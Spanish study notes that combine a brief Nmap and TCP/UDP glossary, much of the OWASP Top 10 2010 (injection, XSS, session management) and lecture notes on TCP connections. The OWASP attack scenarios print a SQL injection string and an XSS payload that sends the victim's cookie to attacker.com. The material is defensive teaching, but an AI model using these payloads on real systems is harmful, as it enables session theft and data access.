Nmap

Nmap es un programa de código abierto que sirve para efectuar rastreo de puertos escrito originalmente por Gordon Lyon (más conocido por su alias Fyodor Vaskovich). Se usa para evaluar la seguridad de sistemas informáticos, así como para descubrir servicios o servidores en una red informática.

El protocolo UDP

UDP es un protocolo no orientado a conexión. Es decir, cuando una máquina A envía paquetes a una máquina B, el flujo es unidireccional. La transferencia de datos es realizada sin haber realizado previamente una conexión con la máquina de destino (máquina B), y el destinatario recibirá los datos sin enviar una confirmación al emisor (la máquina A). Esto es debido a que la encapsulación de datos enviada por el protocolo UDP no permite transmitir la información relacionada al emisor. Por ello, el destinatario no conocerá al emisor de los datos excepto su IP.

El protocolo TCP

Contrariamente a UDP, el protocolo TCP está orientado a conexión. Cuando una máquina A envía datos a una máquina B, la máquina B es informada de la llegada de datos y confirma su buena recepción. Aquí interviene el control CRC de datos que se basa en una ecuación matemática que permite verificar la integridad de los datos transmitidos. De este modo, si los datos recibidos son corruptos, el protocolo TCP permite que los destinatarios soliciten al emisor que vuelvan a enviar los datos corruptos.

ACKNOWLEDGEMENT (ACK)

(en español acuse de recibo), en comunicaciones entre computadores, es un mensaje que se envía para confirmar que un mensaje o un conjunto de mensajes han llegado. Si el terminal de destino tiene capacidad para detectar errores, el significado de ACK es «ha llegado y además ha llegado correctamente».

SYN

Es un bit de control dentro del segmento TCP, que se utiliza para sincronizar los números de secuencia iniciales ISN de una conexión en el procedimiento de establecimiento de tres fases (3 way handshake).

Se usa para sincronizar los números de secuencia en tres tipos de segmentos: petición de conexión, confirmación de conexión (con ACK activo) y la recepción de la confirmación (con ACK activo).

FLAG RST

Es un bit que se encuentra en el campo del código en el protocolo TCP, y se utiliza para reiniciar la conexión. Un ejemplo práctico de utilización es el que realiza un servidor cuando le llega un paquete a un puerto no válido: este responde con el RST activado.

OWASP

(acrónimo de Open Web Application Security Project, en inglés ‘Proyecto de seguridad de aplicaciones web abiertas’) es un proyecto de código abierto dedicado a determinar y combatir las causas que hacen que el software sea inseguro. La Fundación OWASP es un organismo sin ánimo de lucro que apoya y gestiona los proyectos e infraestructura de OWASP. La comunidad OWASP está formada por empresas, organizaciones educativas y particulares de todo mundo. Juntos constituyen una comunidad de seguridad informática que trabaja para crear artículos, metodologías, documentación, herramientas y tecnologías que se liberan y pueden ser usadas gratuitamente por cualquiera.

ACERCA DE OWASP

El proyecto abierto de seguridad en aplicaciones Web (OWASP por sus siglas en inglés) es una comunidad abierta dedicada a habilitar a las organizaciones para desarrollar, comprar y mantener aplicaciones confiables. En OWASP encontrará recursos abiertos y gratuitos…

• Libros y estándares sobre seguridad en aplicaciones
• Libros completos sobre testeo de seguridad en aplicaciones, desarrollo seguro de código, y revisión de seguridad del código
• Controles de seguridad estándares y librerías
• Capítulos Locales en distintos países
• Investigación de avanzada
• Conferencias alrededor del mundo
• Listas de Correo
• Y mucho más en www.owasp.org

Todas la herramientas, documentos, foros y capítulos de OWASP son gratuitos y abiertos a cualquiera interesado en mejorar la seguridad en aplicaciones. Abogamos por resolver la seguridad en aplicaciones como un problema de gente, procesos y tecnología porque las soluciones más efectivas incluyen mejoras en todas estas áreas.

OWASP es un nuevo tipo de organización. Nuestra libertad de presiones comerciales nos permite proveer información sobre seguridad en aplicaciones sin sesgos, práctica y efectiva.

OWASP no está afiliada a ninguna compañía de tecnología, aunque soportamos el uso informado de tecnologías de seguridad comerciales. Parecido a muchos proyectos de software de código abierto, OWASP produce muchos materiales en una manera abierta y colaborativa.

La Fundación OWASP es una entidad sin ánimo de lucro para asegurar el éxito a largo plazo del proyecto. Casi todos los miembros de OWASP son voluntarios, incluyendo el Directorio OWASP, los Comités Globales, Líderes de Capítulos, Líderes de Proyectos, y miembros de proyectos. Nosotros apoyamos la investigación innovadora sobre seguridad a través de becas e infraestructura.

Únete a nosotros!

INTRODUCCIÓN

Bienvenido al OWASP Top 10 2010! Esta importante actualización representa una lista concisa y enfocada sobre los Diez Riesgos Más Críticos sobre Seguridad en Aplicaciones. El OWASP Top 10 ha sido siempre sobre riesgos, pero esta actualización lo evidencia de mayor manera respecto a ediciones anteriores. También provee información adicional sobre cómo evaluar estos riesgos en sus aplicaciones. Por cada ítem en el Top 10, esta edición describe la probabilidad general y los factores de consecuencia que se utilizan para clasificar la gravedad típica del riesgo. Luego presenta orientación sobre cómo verificar si usted posee problemas en esta área, cómo evitarlos, algunos ejemplos y enlaces a mayor información.

El objetivo principal del Top 10 es educar desarrolladores, diseñadores, arquitectos, gerentes, y organizaciones sobre las consecuencias de las vulnerabilidades de seguridad más importantes en aplicaciones web. El Top 10 provee técnicas básicas sobre cómo protegerse en estas áreas de alto riesgo – y también provee orientación sobre los pasos a seguir.

ADVERTENCIA

No se detenga en el Top 10. Existen cientos de problemas que pueden afectar la seguridad general de una aplicación web tal como se ha discutido en la Guía de Desarrollo OWASP. Este documento es de lectura esencial para cualquiera desarrollando aplicaciones web hoy en día. Una efectiva orientación en cómo encontrar vulnerabilidades en aplicaciones web es suministrada en la Guía de Testeo OWASP y la Guía de Revisión de Código OWASP, las cuales han sido significativamente actualizadas desde la última edición del Top 10.

Cambio constante. Este Top 10 continuará cambiando. Incluso sin cambiar una línea de código en su aplicación, la misma puede ser vulnerable a algo que nadie haya pensado anteriormente. Por favor revise los consejos detallados al final del Top 10 “Próximos pasos para Desarrolladores, Verificadores y Organizaciones” para mayor información.

Piense positivamente. Cuando se encuentre preparado para dejar de buscar vulnerabilidades y focalizarse en establecer controles seguros de aplicaciones, OWASP ha producido el Application Security Verification Standard (ASVS) como una guía para organizaciones y revisores de aplicaciones que detalla los controles de seguridad a verificar en una aplicación.

Utilice herramientas inteligentemente. Las vulnerabilidades de seguridad pueden ser bastante complejas y encontrarse ocultas en montañas de código. En virtualmente todos los casos, el enfoque más eficiente y económico para encontrar y eliminar estas vulnerabilidades es asignar expertos armados de buenas herramientas para realizar esta tarea.

SDLC Seguro. Aplicaciones Web seguras son solo posibles cuando se utiliza un SDLC Seguro. Para orientación sobre cómo implementar un SDLC Seguro, leer el Open Software Assurance Maturity Model (SAMM), el cual es una actualización significativa al OWASP CLASP Project.

¿Qué ha cambiado del 2007 al 2010?

El escenario de amenazas para aplicaciones de Internet cambia constantemente. Los factores clave en esta evolución son los avances hechos por los atacantes, la liberación de nueva tecnología, así como la instalación de sistemas cada vez más complejos. Para mantener el ritmo, actualizamos periódicamente el OWASP Top 10. En esta versión 2010, hemos hecho tres cambios significativos:

Aclaramos que el Top 10 es acerca del Top 10 de riesgos, no el Top 10 de las debilidades más comunes. Vea los detalles en la página “Riesgos de seguridad en aplicaciones” más abajo.

Cambiamos nuestra metodología de clasificación para estimar el riesgo, en lugar de basarnos solamente en la frecuencia de la debilidad asociada. Esto ha afectado el orden del Top 10, como puede ver en la tabla más abajo. Reemplazamos dos elementos de la lista con dos nuevos elementos:

• AGREGADO: A6 – Defectuosa configuración de seguridad. Este problema fue A10 en el Top 10 del 2004: Administración insegura de configuración, pero fue abandonado en el 2007 porque no fue considerado un problema de software. Sin embargo, desde una perspectiva de riesgo organizacional y prevalencia, claramente merece una re-inclusión en el Top 10; así que ahora está de vuelta.
• AGREGADO: A10 – Redirecciones y reenvíos no validados. Este problema está haciendo su debut en el Top 10. La evidencia muestra que este problema relativamente desconocido está difundido y puede causar daño significativo.
• REMOVIDO: A3 – Ejecución maliciosa de ficheros. Este es aún un problema significativo en muchos ambientes diferentes. Sin embargo, su prevalencia en el 2007 fue inflada por el gran número de aplicaciones PHP que tenían este problema. PHP ahora contiene una configuración más segura por omisión, lo que ha disminuido la prevalencia de este problema.
• REMOVIDO: A6 – Filtrado de información y manejo inapropiado de errores. Este problema es extremadamente prevalente, pero el impacto de mostrar la pila de llamadas y la información de mensajes de error típicamente es mínimo. Con la adición de la Mala configuración de seguridad este año, la configuración apropiada del manejo de errores constituye una buena parte de configurar de manera segura sus aplicaciones y servidores.

OWASP Top 10 – 2007 (Previo)

OWASP Top 10 – 2010 (NUEVO)

Riesgos de Seguridad en Aplicaciones

¿Qué son los riesgos de seguridad en aplicaciones?

Los atacantes pueden potencialmente usar muchas diferentes rutas a través de su aplicación para causar daño en su negocio u organización. Cada una de estas rutas representa un riesgo que puede, o no, ser lo suficientemente serio como para merecer atención.

A veces, estas rutas son triviales de encontrar y explotar y a veces son extremadamente difíciles. De manera similar, el daño causado puede ir de ninguno hasta incluso sacarlo del negocio. Para determinar el riesgo para su organización, puede evaluar la probabilidad asociada con cada agente de amenaza, vector de ataque y debilidad de seguridad y combinarla con una estimación del impacto técnico y de negocios en su organización. Juntos, estos factores determinan el riesgo total.

¿Cuál es Mi riesgo?

Esta actualización del OWASP Top 10 se enfoca en la identificación de los riesgos más serios para un amplio espectro de organizaciones. Para cada uno de estos riesgos, proveemos información genérica acerca de la probabilidad y el impacto técnico usando el siguiente esquema simple de calificación, que está basado en la Metodología de Evaluación de Riesgos OWASP.

Sin embargo, solo usted sabe los detalles específicos de su ambiente y su negocio. Para una aplicación cualquiera, puede no haber un agente de amenaza que pueda ejecutar el ataque relevante, o el impacto técnico puede no hacer diferencia ninguna. Por tanto, usted debería evaluar cada riesgo, enfocándose en los agentes de amenaza, los controles de seguridad e impactos de negocio en su empresa.

Aunque las versiones previas del OWASP Top 10 se enfocaron en la identificación de las “vulnerabilidades” más comunes, también fueron diseñadas alrededor de los riesgos. Los nombres de los riesgos en la Top 10 surgen del tipo de ataque, el tipo de debilidad o el tipo de impacto que pueden causar. Elegimos el nombre que es mejor conocido y que logrará el más alto nivel de reconocimiento.

OWASP Top 10 2010 – Riesgos de Seguridad en Aplicaciones Web

A1 – Inyección

• Las fallas de inyección, tales como SQL, OS, y LDAP, ocurren cuando datos no confiables son enviados a un intérprete como parte de un comando o consulta. Los datos hostiles del atacante pueden engañar al intérprete en ejecutar comandos no intencionados o acceder datos no autorizados.

A2 – Secuencia de comandos en sitios cruzados (XSS)

• Las fallas XSS ocurren cada vez que una aplicación toma datos no confiables y los envía al navegador web sin una validación y codificación apropiada. XSS permite a los atacantes ejecutar secuencia de comandos en el navegador de la víctima los cuales pueden secuestrar las sesiones de usuario, destruir sitios web, o dirigir al usuario hacia un sitio malicioso.

A3 – Pérdida de Autenticación y Gestión de Sesiones

• Las funciones de la aplicación relacionadas a autenticación y gestión de sesiones son frecuentemente implementadas incorrectamente, permitiendo a los atacantes comprometer contraseñas, llaves, token de sesiones, o explotar otras fallas de implementación para asumir la identidad de otros usuarios.

A4 – Referencia Directa Insegura a Objetos

• Una referencia directa a objetos ocurre cuando un desarrollador expone una referencia a un objeto de implementación interno, tal como un fichero, directorio, o base de datos. Sin un chequeo de control de acceso u otra protección, los atacantes pueden manipular estas referencias para acceder datos no autorizados.

A5 – Falsificación de Peticiones en Sitios Cruzados (CSRF)

• Un ataque CSRF obliga al navegador de una víctima autenticada a enviar una petición HTTP falsificado, incluyendo la sesión del usuario y cualquier otra información de autenticación incluida automáticamente, a una aplicación web vulnerable. Esto permite al atacante forzar al navegador de la víctima para generar pedidos que la aplicación vulnerable piensa son peticiones legítimas provenientes de la víctima.

A6 – Defectuosa configuración de seguridad

• Una buena seguridad requiere tener definida e implementada una configuración segura para la aplicación, marcos de trabajo, servidor de aplicación, servidor web, base de datos, y plataforma. Todas estas configuraciones deben ser definidas, implementadas, y mantenidas ya que por lo general no son seguras por defecto. Esto incluye mantener todo el software actualizado, incluidas las librerías de código utilizadas por la aplicación.

A7 – Almacenamiento Criptográfico Inseguro

• Muchas aplicaciones web no protegen adecuadamente los datos sensibles, tales como tarjetas de crédito, NSSs, y credenciales de autenticación con mecanismos de cifrado o hashing. Atacantes pueden modificar o robar tales datos protegidos inadecuadamente para conducir robos de identidad, fraudes de tarjeta de crédito u otros crímenes.

A8 – Falla de Restricción de Acceso a URL

• Muchas aplicaciones web verifican los privilegios de acceso a URLs antes de generar enlaces o botones protegidos. Sin embargo, las aplicaciones necesitan realizar controles similares cada vez que estas páginas son accedidas, o los atacantes podrán falsificar URLs para acceder a estas páginas igualmente.

A9 – Protección Insuficiente en la capa de Transporte

• Las aplicaciones frecuentemente fallan al autenticar, cifrar, y proteger la confidencialidad e integridad de tráfico de red sensible. Cuando esto ocurre, es debido a la utilización de algoritmos débiles, certificados expirados, inválidos, o sencillamente no utilizados correctamente.

A10 – Redirecciones y Reenvíos no validados

• Las aplicaciones web frecuentemente redirigen y reenvían a los usuarios hacia otras páginas o sitios web, y utilizan datos no confiables para determinar la página de destino. Sin una validación apropiada, los atacantes pueden redirigir a las víctimas hacia sitios de phishing o malware, o utilizar reenvíos para acceder páginas no autorizadas.

Inyección

1. Agentes de amenaza – 2. Vectores de ataque – 3. Deficiencias de seguridad – 4. Impactos técnicos – 5. Impactos de negocio

1. Considerar cualquier persona que pueda enviar datos no confiables al sistema, incluyendo usuarios externos, internos y administradores.

2. Explotación fácil. El atacante envía simples cadenas de texto que explotan la sintaxis del intérprete atacado. Casi cualquier fuente de datos puede ser un vector de inyección, incluyendo fuentes internas.

3. Prevalencia común – detección media. Las fallas de inyección ocurren cuando una aplicación envía datos no confiables a un intérprete. Las fallas de inyección son muy prevalentes, particularmente en código legado, el cual es frecuentemente encontrado en consultas SQL, LDAP, XPath, comandos de SO, argumentos de programa, etc. Las fallas de inyección son fáciles de descubrir cuando se examina el código, pero más difíciles a través de testeos. Los scanners y fuzzers pueden ayudar a los atacantes a descubrir estas fallas.

4. Impacto severo. Una falla de inyección puede resultar en pérdida o corrupción de datos, falta de integridad, o negación de acceso. Una falla de inyección puede algunas veces llevar a la toma de posesión completa del servidor.

5. Considerar el valor para el negocio de los datos afectados y la plataforma corriendo el intérprete. Todos los datos pueden ser robados, modificados, o eliminados. ¿Puede su reputación ser dañada?

¿Soy Vulnerable?

La mejor manera de saber si una aplicación es vulnerable a inyección es verificar que todo uso de los intérpretes claramente separe datos no confiables del comando o consulta. Para llamados SQL, esto significa utilizar variables parametrizadas en todas las declaraciones preparadas y procedimientos almacenados, como así también evitar consultas dinámicas.

Revisar el código es una manera fácil y efectiva para ver si la aplicación utiliza los intérpretes de manera segura. Las herramientas de análisis de código pueden ayudar a un analista de seguridad a encontrar la utilización de intérpretes y rastrear el flujo de datos en la aplicación. Los testeos de penetración pueden validar estos problemas a través de fallas especialmente hechas a mano que confirman la vulnerabilidad.

Los escaneos dinámicos automatizados ejercitados en la aplicación pueden proveer una buena comprensión sobre si alguna falla de inyección existe. Los escáneres no siempre pueden llegar a los intérpretes y tienen dificultad en detectar si un ataque fue exitoso. Un manejo pobre de los errores hace más fácil la detección de fallas de inyección.

¿Cómo puedo evitar esto?

Prevenir la inyección requiere mantener los datos no confiables separados de comandos y consultas.

1. La opción preferida es utilizar una API segura que evite el uso del intérprete completamente o provea una interface parametrizada. Sea cuidadoso con APIs, tales como procedimientos almacenados, que son parametrizados, pero que aún pueden introducir inyección implícitamente.
2. Si una API parametrizada no se encuentra disponible, usted debe cuidadosamente escapar los caracteres especiales utilizando una sintaxis de escape especial para dicho intérprete. OWASP’s ESAPI posee algunas de estas rutinas de escape.
3. Una validación positiva de entradas con una apropiada canonicalización es también recomendado, pero no es una defensa completa ya que muchas aplicaciones requieren caracteres especiales en sus entradas. OWASP’s ESAPI tiene una librería extensible de rutinas de validación de entradas.

Ejemplos de escenarios de ataque

La aplicación utiliza datos no confiables en la construcción de la siguiente consulta vulnerable SQL:

String query = «SELECT * FROM accounts WHERE custID='» + request.getParameter(«id») + «‘»;

El atacante modifica el parámetro ‘id’ en su navegador para enviar: ‘ or ‘1’=’1. Esto cambia el significado de la consulta devolviendo todos los registros de la tabla ACCOUNTS en lugar de solo el cliente solicitado.

http://example.com/app/accountView?id=‘ or ‘1’=’1

En el peor caso, el atacante utiliza esta vulnerabilidad para invocar procedimientos almacenados especiales en la base de datos que permiten la toma de posesión de la base de datos y posiblemente también al servidor que aloja la misma.

Secuencia de Comandos en Sitios Cruzados (XSS)

1. Agentes de amenaza – 2. Vectores de ataque – 3. Deficiencias de seguridad – 4. Impactos técnicos – 5. Impactos de negocio

2. Explotación media tales como datos de la base de datos.

3. Prevalencia muy difundida – detección fácil. XSS es la falla de seguridad más prevalente en aplicaciones web. Las fallas XSS ocurren cuando una aplicación incluye datos suministrados por el usuario en una página enviada al navegador sin ser el contenido apropiadamente validado o escapado. Existen tres tipos conocidos de fallas XSS: 1) Almacenados, 2) Reflejados, and 3) XSS basado en DOM.

La detección de la mayoría de las fallas XSS es relativamente fácil a través de pruebas análisis de código.

4. Impacto moderado. Los atacantes pueden ejecutar secuencias de comandos en el navegador de una víctima para secuestrar las sesiones de usuario, destruir sitios web, insertar código hostil, redirigir usuarios, instalar código malicioso en el navegador de la víctima, etc.

¿Soy Vulnerable?

Es necesario asegurarse que todos los datos de entrada suministrados por el usuario enviados al navegador sean seguros (a través de validación de entradas), y que las entradas de usuario sean apropiadamente escapadas antes de que sean incluidas en la página de salida. Una apropiada codificación de salida asegura que los datos de entrada sean siempre tratados como texto en el navegador, en lugar de contenido activo que puede ser ejecutado.

Tanto las herramientas estáticas como dinámicas pueden encontrar algunos problemas de XSS automáticamente. Sin embargo, cada aplicación construye las páginas de salida diferentemente y utiliza diferentes intérpretes tales como JavaScript, ActiveX, Flash, y Silverlight, lo que dificulta la detección automática. Por lo tanto, una cobertura completa requiere una combinación de revisión manual de código y testeo manual de penetración, además de cualquier testeo automático en uso.

Tecnologías Web 2.0, tales como AJAX, dificultan la detección de XSS a través de herramientas automatizadas.

¿Cómo puedo evitar esto?

Prevenir XSS requiere mantener los datos no confiables separados del contenido activo del navegador.

1. La opción preferida es escapar todos los datos no confiables basados en el contexto HTML (cuerpo, atributo, JavaScript, CSS, o URL) donde los mismos serán ubicados. Los desarrolladores necesitan incluir esta técnica en sus aplicaciones al menos que el marco UI lo realice por ellos. Ver la Hoja de Trucos de Prevención XSS para mayor información sobre técnicas de escape de datos.
2. Una validación de entradas positiva o “whitelist” con apropiada canonicalización y decodificación es también recomendable ya que ayuda a proteger contra XSS, pero no es una defensa completa ya que muchas aplicaciones requieren caracteres especiales en sus entradas. Tal validación debería, tanto como sea posible, decodificar cualquier entrada codificada, y luego validar la longitud, caracteres, formato, y cualquier regla de negocio en dichos datos antes de aceptar la entrada.

Ejemplos de escenarios de ataque

La aplicación utiliza datos no confiables en la construcción del siguiente código HTML sin validar o escapar los datos:

(String) page += «<input name=’creditcard’ type=’TEXT‘ value='» + request.getParameter(«CC») + «‘>»;

El atacante modifica el parámetro ‘CC’ en el navegador:

‘><script>;document.location=’http://www.attacker.com/cgi-bin/cookie.cgi?foo=’+document.cookie</script>’.

Esto causa que el identificador de sesión de la víctima sea enviado al sitio web del atacante, permitiendo al atacante secuestrar la sesión actual del usuario. Notar que los atacantes pueden también utilizar XSS para anular cualquier defensa CSRF que la aplicación pueda utilizar. Ver A5 para información sobre CSRF.

Pérdida de Autenticación y Gestión de Sesiones

1. Agentes de amenaza – 2. Vectores de ataque – 3. Deficiencias de seguridad – 4. Impactos técnicos – 5. Impactos de negocio

1. Considerar atacantes anónimos externos, además de usuarios con sus propias cuentas, que podrían intentar robar cuentas de otros. Considerar también a trabajadores que quieran enmascarar sus acciones.

2. EXPLOTACION MEDIA. El atacante utiliza filtraciones o vulnerabilidades en las funciones de autenticación o gestión de las sesiones (por ejemplo cuentas expuestas, contraseñas, identificadores de sesión) para hacerse pasar por usuarios.

3. PREVALENCIA COMUN — DETECION MEDIA. Los desarrolladores a menudo crean esquemas propios de autenticación o gestión de las sesiones, pero conseguir que sean correctos es complicado. Por ello, a menudo estos esquemas propios contienen vulnerabilidades en las secciones de cierre de sesión, gestión de contraseñas, tiempo de desconexión, función de recordar contraseña, pregunta secreta, actualización de cuenta, etc. Encontrar estas vulnerabilidades puede ser difícil por ser única cada implementación.

4. Impacto severo. Estas vulnerabilidades podría permitir que algunas o todas las cuentas sean atacadas. Una vez el ataque resulte satisfactorio, el atacante podría realizar cualquier acción que la víctima pudiese. Las cuentas privilegiadas son los objetivos prioritarios.

5. Considerar el valor de negocio de los datos afectados o funciones de la aplicación. También considere el impacto en el negocio la exposición pública de la vulnerabilidad.

¿Soy Vulnerable?

Los primeros activos a proteger son las credenciales y los identificadores de sesión.

1. ¿Están siempre las credenciales protegidas cuando se almacenan utilizando un hash o cifrado? Consultar el punto A7.
2. ¿Se pueden adivinar o sobrescribir las credenciales a través de funciones débiles de gestión de la cuenta (por ejemplo, registro de usuarios, cambiar contraseñas, recuperación de contraseñas, identificadores débiles de sesión)?
3. ¿Se muestran los identificadores de sesión en la dirección URL? (por ejemplo, re-escritura de la dirección)?
4. ¿Son los identificadores de sesión vulnerables a ataques de fijación de la sesión?
5. ¿Caducan las sesiones y pueden los usuarios cerrar sus sesiones?
6. ¿Se rotan los identificadores de sesiones después de una autenticación correcta?
7. ¿Se envían las contraseñas, identificadores de sesión y otras credenciales únicamente mediante conexiones TLS? Consultar la sección A9. Visitar la sección de requisitos de ASVS V2 y V3 para más detalles.

¿Cómo puedo evitar esto?

La recomendación principal para una organización es facilitar a los desarrolladores:

1. Un único conjunto de controles de autenticación fuerte y gestión de sesiones. Dichos controles deberán conseguir:
   • Reunir todos los requisitos de gestión de sesiones y autenticación definidos en el Application Security Verification Standard (ASVS) de OWASP, secciones V2 (Autenticación) y V3 (Gestión de sesiones).
   • Tener un interfaz simple para los desarrolladores. Considerar ESAPI Authenticator y las APIs de usuario como buenos ejemplos a emular, utilizar o sobre los que partir.
2. Se debe hacer especial hincapié en evitar vulnerabilidades de XSS que podrían ser utilizadas para robar identificadores de sesión. Consultar el apartado A2.

El Nivel de Transporte en Internet

Funciones del Nivel de Transporte

Se encarga del transporte de los datos extremo a extremo (host a host).

Realiza la comunicación de forma transparente al medio físico. Usa los servicios del nivel de red.

Multiplexa tráfico de diversas instancias (procesos) del nivel de aplicación. El nivel de transporte (como el de red) tiene una sola instancia en el host.

El servicio que ofrece puede ser de dos tipos:

• Orientado a conexión: garantiza la entrega de los datos, sin pérdidas ni duplicados. Ej.: TCP (Internet), TP4 (OSI).
• No orientado a conexión: equivale al servicio que ofrece IP, pero a nivel de transporte. Ej.: UDP (Internet), TP0 (OSI).

Protocolo UDP

Servicio sencillo, CLNS, no fiable.

Se utiliza en los siguientes entornos:

• El intercambio de mensajes es muy escaso, ej.: consultas al DNS (servidor de nombres).
• La aplicación es en tiempo real y no puede esperar confirmaciones. Ej.: videoconferencia, voz sobre IP.
• Los mensajes se producen regularmente y no importa si se pierde alguno. Ej: NTP, SNMP.
• El medio de transmisión es altamente fiable y sin congestión (LANs). Ej: NFS.

Se envía tráfico broadcast/multicast.

Las TPDUs de UDP se denominan mensajes o datagramas UDP.

UDP multiplexa los datos de las aplicaciones y efectúa opcionalmente una comprobación de errores, pero no realiza:

• Control de flujo.
• Control de congestión.
• Retransmisión de datos perdidos.
• Conexión/desconexión.

La cabecera UDP

La pseudocabecera se añade al principio del datagrama para el cálculo del checksum, pero no se envía. Permite a UDP comprobar que IP no se ha equivocado (ni le ha engañado) en la entrega del datagrama.

El valor 10001₂ = 17₁₀ indica que el protocolo de transporte es UDP.

Multiplexación

La multiplexación se realiza mediante el puerto (origen o destino) que puede valer de 0 a 65535.

Los puertos 0 a 1023 están reservados para servidores ‘bien conocidos’ (‘well known ports’).

La combinación de una dirección IP y un puerto identifica un ‘socket’ (origen o destino de los datagramas UDP): 147.156.135.22.1038.

TCP (Transmission Control Protocol)

El protocolo TCP ofrece el servicio de transporte orientado a conexión (CONS) en Internet.

Está diseñado para ofrecer un transporte fiable sobre un servicio no fiable del nivel de red (el que le suministra IP).

Las TPDUs de TCP se llaman segmentos.

El TCP actual se especificó en el RFC 793 en 1981 y sigue plenamente vigente.

Servicio orientado a conexión

Los servicios orientados a conexión requieren un procedimiento explícito de establecimiento y terminación de la comunicación.

Durante la conexión las entidades participantes mantienen en memoria una información relativa a dicha conexión (contadores de bytes, espacio libre en buffers, etc.). Dicha información se conoce como información de estado.

Para describir los servicios orientados a conexión se suele utilizar un modelo basado en dos protagonistas:

• Cliente: el que inicia la conexión.
• Servidor: el que está a la espera de recibir peticiones de conexión.

Una conexión puede terminarse tanto por iniciativa del cliente como del servidor.

También hay aplicaciones que utilizan el modelo igual a igual (peer-to-peer) como Emule, Edonkey, etc.

Funciones de TCP

Multiplexar el nivel de aplicación (port).

Controlar errores, retransmitiendo segmentos perdidos o erróneos. Eliminar duplicados.

Establecer y terminar conexiones.

Gestionar los buffers y ejercer control de flujo de forma eficiente.

Gestionar el intercambio de datos con las aplicaciones.

Efectuar control de congestión.

CWR:       Congestion Window Reduced.

                ECE:         ECN Echo (ECN=Explicit Congestion Notification).

                URG:       el segmento contiene datos urgentes.

                ACK:        el campo número de acuse de recibo tiene sentido.

                PSH:        el segmento contiene datos ‘Pushed’.

                RST:        ha habido algún error y la conexión debe cerrarse.

                SYN:        indica el inicio de una conexión.

                FIN:         indica el final de una conexión.

La pseudocabecera TCP

Se añade al principio del segmento solo para el cálculo del Checksum, no se envía. Permite a TCP comprobar que IP no se ha equivocado (ni le ha engañado) en la entrega del segmento.

El valor 110₂ = 6₁₀ indica que el protocolo de transporte es TCP.

Multiplexación

Se utiliza el número de puerto (origen o destino) como en UDP. Puede valer de 0 a 65535.

Como en UDP los puertos 0 a 1023 están reservados para servidores ‘bien conocidos’.

Como en UDP la combinación de dirección IP y puerto identifica el ‘socket’.

Una conexión TCP queda especificada por los dos sockets que se comunican (IP origen-puerto origen, IP destino-puerto destino).

Conexión por ‘Saludo a tres vías’

Los segmentos pueden llegar duplicados (p. ej. se pierde la confirmación de un segmento con lo que el emisor lo reenvía)

Con un procedimiento de conexión simple los segmentos duplicados podrían causar problemas. Una sesión entera podría duplicarse.

Para evitar los problemas debidos a duplicados lo se utiliza un procedimiento de conexión más elaborado denominado saludo a tres vías.

El saludo a tres vías se basa en la elección de un número que identifica de forma única cada intento de conexión y que actúa como PIN. De este modo se evita el riesgo de aceptar como válidos segmentos retrasados que pudieran aparecer fruto de conexiones anteriores

Procedimiento del saludo a tres vías

El cliente elige para cada intento de conexión un número único. El número elegido lo incluye en la petición de conexión que envía al servidor.

El servidor, cuando recibe la petición, elige otro número único y envía una respuesta al cliente indicándoselo.

El cliente al recibir la respuesta considera establecida la conexión. A continuación envía un tercer mensaje en el que acusa recibo del anterior. El servidor considera establecida la conexión cuando el recibe este tercer mensaje.

 Conexión en TCP

Los dos primeros segmentos de la conexión se identifican con el flag SYN.

El número de secuencia es un campo de 32 bits que cuenta bytes en módulo 2^{32 (}el contador se da la vuelta cuando llega al valor máximo).

El número de secuencia no empieza normalmente en 0, sino en un valor denominado ISN (Initial Sequence Number) elegido al azar; el ISN sirve de ‘PIN’ en el saludo a tres vías para asegurar la autenticidad de la comunicación.

Una vez establecida la comunicación el ‘seq’ y el ‘ack’ sirven para contar los bytes transmitidos y recibidos.

Conexión en TCP

El ISN es elegido por el sistema (cliente o servidor). El estándar sugiere utilizar un contador entero incrementado en 1 cada 4 ms aproximadamente. En este caso el contador se da la vuelta (y el ISN reaparece) al cabo de 4 horas 46 min.

El MSL (Maximum Segment Lifetime) típico es de unos 2 minutos, con lo que la probabilidad de que dos ISN coincidan es despreciable.

El mecanismo de selección de los ISN es suficientemente fiable para proteger de coincidencias debidas al azar, pero no es un mecanismo de protección frente a sabotajes. Es muy fácil averiguar el ISN de una conexión e interceptarla suplantando a alguno de los dos participantes

Desconexión

Puede ser de dos tipos:

• Simétrica: la conexión se considera formada por dos circuitos simplex y cada host solo puede cortar uno (aquel en el que él emite datos). El cierre de un sentido se interpreta como una ‘invitación’ a cerrar el otro.

Asimétrica: desconexión unilateral (un host la termina en ambos sentidos sin esperar a recibir confirmación del otro). Puede provocar pérdida de información

Mensaje de Desconexión

EL mensaje solicitando la desconexión se puede perder. Por eso se pide una confirmación (ACK).

Pero la confirmación también podría perderse, por lo que habría que enviar una reconfirmacion, y así sucesivamente.

Este problema no tiene solución infalible, pues estamos usando un canal no fiable para asegurar un envío de información. Es lo que se conoce como el problema de los dos ejércitos.

Desconexión por saludo a tres vías

Se trata de una desconexión simétrica en la que se tiene una seguridad razonable de que no se pierden datos.

Supone el intercambio de tres mensajes, de forma análoga a la conexión, de ahí su nombre.

En caso de que alguno de los mensajes de desconexión se pierda una vez iniciado el proceso la conexión se termina por timeout.

 Desconexión en TCP

Se utiliza el ‘saludo a tres vías’ invitando a la otra parte a cerrar.

Para indicar el cierre se utiliza el flag FIN

La desconexión puede iniciarla cualquiera de los dos TCP (el cliente o el servidor).

Una vez efectuada la desconexión el host que inició el proceso está un cierto tiempo a la espera por si aparecen segmentos retrasados

 Números de secuencia y flags

El número de secuencia es el que corresponde al primer byte enviado en ese segmento.

TCP incrementa el número de secuencia de cada segmento según los bytes que tenía el segmento anterior, con una sola excepción:

Los flags SYN y FIN, cuando están puestos, incrementan en 1 el número de secuencia.

Esto permite que se pueda acusar recibo de un segmento SYN o FIN sin ambigüedad.

Podemos considerar que los segmentos que tienen puesto el flag SYN o FIN lleva un byte de datos ‘virtual’

La presencia del flag ACK no incrementa el número de secuencia